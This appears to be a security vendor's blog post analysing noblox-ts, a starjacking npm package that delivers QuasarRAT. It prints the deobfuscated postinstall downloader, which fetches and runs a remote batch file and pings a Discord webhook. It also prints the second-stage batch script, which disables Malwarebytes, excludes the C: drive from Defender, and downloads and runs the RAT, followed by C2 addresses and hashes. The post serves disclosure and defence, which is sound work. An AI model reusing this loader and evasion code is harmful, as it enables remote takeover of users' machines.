Blog

DestroyLoneliness: npm starjacking attack on Roblox Node.js library delivers QuasarRAT

The execution of QuasarRAT would allow the attacker to establish command and control over affected Windows endpoints.

/
6 mins read
/
Jul 11, 2024

Trusty is a free-to-use web app from Stacklok that analyzes data about thousands of open source packages and ranks them based on their supply chain risk. Trusty looks at factors like repo and author activity; the presence of security best practices, like artifact signing; and the presence of malicious activity, like typosquatting and starjacking.

Earlier this week, Trusty's threat analysis system, developed by Stacklok, was able to interpret the noblox-ts package as suspicious. Read on for our analysis on this package.

Discovering the attack

You can see a UI expression of the scoring for this package below in Trusty:

Starjacking is a tactic used by threat actors to misdirect users into downloading a malicious package by imitating a popular or highly-rated project. The information copied can include metadata such as the description and star rating.

Trusty ingests package provenance information, allowing the identification of anomalies around source of origin.

Confirming the starjacking and typosquatting hypotheses, we can see that the malicious package’s readme has been directly lifted from the legitimate noblox.js repository, in an attempt to masquerade as the more reputable package. 

The source repository has been listed as https://github.com/noblox/noblox.js. This is a Roblox-related Node.js fork of roblox-js.

Upon reviewing the package contents, we found that the postinstall.js script contained suspicious code. As the name suggests, this script will run automatically after installation of the package. Hence the malware delivery requires no user action beyond the use of npm to install noblox-ts.

The first version of the package, uploaded 10 hours prior, contained benign code in the postinstall script. This was likely a detection evasion attempt.

Obfuscation

We can remove the first layers of obfuscation using an automated JavaScript deobfuscation tool. Taking a look at the resulting script:

The script utilizes various obfuscation techniques to confuse readability and obscure its true purpose. These features are characteristic of well-known obfuscation frameworks such as javascript-obfuscator.

 In this case, these include:

  • Function names consisting of repeated Chinese characters and hexadigits

  • Numerical variables encoded as hexadecimal

  • Variable names comprised of hexadigits, e.g. _0x592edc

  • Unused functions and junk code

  • Use of Immediately Invoked Function Expressions (IIFE)

  • Conditional logic dependent on rotating array

Anti-analysis techniques are also employed, such as overriding console methods log, warn, and info, and interfering with debugging tools. We observed similar obfuscation methods with a previous JavaScript attack

The first step we can take to improve readability is replacing the Chinese character function names. “摧毀孤獨" translates to "Destroy loneliness" in English.

Each function name here consists of this phrase repeated multiple times and suffixed with a hexadecimal number. For simplicity, we will replace these with destroy_loneliness1 through destroy_loneliness13 in the order they appear in the script.

The first part of the code consists of an immediately invoked function expression with an infinite while loop. One of the arguments passed to this function is destroy_loneliness2, which simply returns a string array that has been truncated for brevity.

JavaScript
(function (_0x4a3255, _0x584081) {
	const _0x592edc = _0x4a3255(); // string array from destroy_loneliness2
	while (true) {
  	try {
     	const _0x39a03e = parseInt(destroy_loneliness1(596, -0x129)) / 1 + ... + parseInt(destroy_loneliness1(759, -0x46)) / 11;
    	if (_0x39a03e === _0x584081) { // loop ends when _0x39a03e === 882723
      	break;
    	} else {
      	_0x592edc.push(_0x592edc.shift()); // gets first element and pushes it to the end - rotation
    	}
  	} catch (_0x5ad9f6) {
    	_0x592edc.push(_0x592edc.shift());
  	}
	}
  })(destroy_loneliness2, 882723); // immediately invoked function expression
// [...]
  function destroy_loneliness2() {
	// string array
	const _0x782d81 = [
  	'gUkai', 'fbUBa', "\\( *\\", 'fXXus', "\\+\\+ ", "een D", '{}.co', 'recur', 'ixQIL', '__pro',
  	...
  	'input', 'lengt', 'RWJeP', 'ZnOnu', 'bat', 'pSZfu', 'YMbey', 'GIspp', 'FxrVH', 'SxuqS'];
	destroy_loneliness2 = function () {
	  	return _0x782d81;
	};
	return destroy_loneliness2();
  }

The loop’s exit is controlled by calling parseInt on various values of the array _0x592edc and applying some arithmetic of the hexadecimal constants. The array is mutated at every loop: the first element is shifted off the front of the array and pushed to the back of the array.

The array will be shuffled 109 times before this condition is satisfied.

However, this code does not relate to any further functionality in the script, and is likely intended to mislead analysis.

Initial downloader

Ignoring further rabbit holes with meaningless and unused code, the essential functionality of the malicious script is contained within the following section:

JavaScript
const executeBat = async (_0x28c27a, _0x4f867a) => {
	if (!fs.existsSync(_0x4f867a)) {
  	const _0x2ee8f4 = {
    	recursive: true
  	};
  	fs.mkdirSync(_0x4f867a, _0x2ee8f4);
	}
	const _0x4797c3 = await fetch(_0x28c27a);
	const _0x2e60ae = await _0x4797c3.buffer();
	fs.writeFileSync(_0x4f867a + "/WindowsApiLib.bat", _0x2e60ae);
	await promisify(require("child_process").exec)(_0x4f867a + "/WindowsApiLib.bat");
  };
  executeBat("https://raw.githubusercontent[.]com/aspdasdksa2/callback/main/callback.bat", "C:/WindowsApi").then(async () => {
	const _0x5bf6bd = {
  	content: "Nil, has been Deployed Sucessfully."
	};
	await fetch("https://discord.com/api/webhooks/", {
  	'method': "POST",
  	'headers': {
    	'Content-Type': "application/json"
  	},
  	'body': JSON.stringify(_0x5bf6bd) // "Nil, has been Deployed Sucessfully."
	});
  })["catch"](_0x1e3e00 => console.error(_0x1e3e00));

A batch script hosted on a separate user’s GitHub account will be downloaded and saved to the file path C:/WindowsApi/WindowsApiLib.bat

Upon successful execution of the script, it will ping the operator with a POST request over Discord WebHooks.

Second stage: Batch script

The second stage of the malware delivery process is a batch script WindowsApiLib.bat, which can be seen below. It starts off with some defense evasion maneuvers, such as checking that the script is running minimized. It also checks if it is running as administrator.

Shell (Bash)
@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
if not "%1"=="am_admin" (
	powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
	exit /b
)

set "scriptDir=%~dp0"

tasklist /FI "IMAGENAME eq Malwarebytes.exe" 2>NUL | find /I /N "Malwarebytes.exe" > NUL
if "%ERRORLEVEL%"=="0" (
	start "" "%ProgramFiles%\Malwarebytes\Anti-Malware\malwarebytes_assistant.exe" --stopservice
	powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
	powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/aspdasdksa2/callback/raw/main/Client-built.exe', 'C:\WindowsApi\WindowsApi.exe')"
	start "" "C:\WindowsApi\WindowsApi.exe"
	taskkill /IM cmd.exe
	exit
) else (
	powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
	powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/aspdasdksa2/callback/raw/main/Client-built.exe', 'C:\WindowsApi\WindowsApi.exe')"
	start "" "C:\WindowsApi\WindowsApi.exe"
	taskkill /IM cmd.exe
	exit
)

This firstly runs the Windows command tasklist to search for the Malwarebytes process, and stops it if it is running.

Several further commands are then executed:

  1. PowerShell - Add a Windows Defender exclusion for all of the C: drive

  2. PowerShell Use the DownloadFile cmdlet to download an EXE from the same Github repository, and save it under C:\WindowsApi\WindowsApi.exe

  3. Execution of the payload

  4. Taskkill to end the cmd.exe process

Delivery of QuasarRAT

The PE saved as WindowsApi.exe is a sample of QuasarRAT with SHA256 d2773c00a7a95b2d78807d86f07c2eea8203537d6d855c538346f2bda4067103, first seen on VirusTotal 2024-07-04, 2 days before the malicious version of the package was uploaded to npm.

Execution of QuasarRAT allows the attacker to establish command and control over affected Windows endpoints.

Configuration

Using this RAT parser GitHub - jeFF0Falltrades/rat_king_parser we were able to extract configuration information such as the C2 domains the operators used. An excerpt of the configuration is provided below.

Attribute

Value

Version

1.4.1

Hosts

47.134.26.200:4782

193.161.193.99:23325

Reconnect delay

3000

Directory

Microsoft-Build-Tools

Install name

Client.exe

Install

True

Startup

True

Mutex

9cabbafb-503b-49f1-ab22-adc756455c10

Startup key

MS Build Tools

Encryption key

8B93C77AC1C58EA80A3327E9FD26246A79EF3B8E

Tag

Test

Reporting

Shortly after discovering this package, we notified the GitHub Trust & Safety team. The package has now been removed from npm.

The noblox-ts@4.10.6 code can be reviewed in full on Stacklok’s jail repository on GitHub.

IOCs

QuasarRAT C2 hosts IP:Port

47.134.26.200:4782

193.161.193.99:23325

File paths

C:/WindowsApi/WindowsApiLib.bat

C:/WindowsApi/WindowsApi.exe

PE SHA256 hashes

QuasarRAT payload

WindowsApi.exe (Client-built.exe) - d2773c00a7a95b2d78807d86f07c2eea8203537d6d855c538346f2bda4067103

Other Python infostealer samples hosted on github[.]com/aspdasdksa2/callback

creal.exe - 4835ccae0a60d615754c0244311dbc0ec3cc5ef01192be2a82d7b544c0c44b28

skuld.exe - 9b682cc0ff348ed1b216f341133c149bec1bfab33c0731099eb43a43e4eaf86a

test-mWZaT.exe - 75df2dd415ac038152cd59ce29732a3a1522c61fe242a00ff9e62fc501304b03

More like this

How npm install scripts can be weaponized: A real-world example of a harmful npm package

Edward Thomson /
Mar 3, 2024
Continue Reading

An analysis of an obfuscated JavaScript malware package

Luke Hinds / Edward Thomson /
Mar 27, 2024
Continue Reading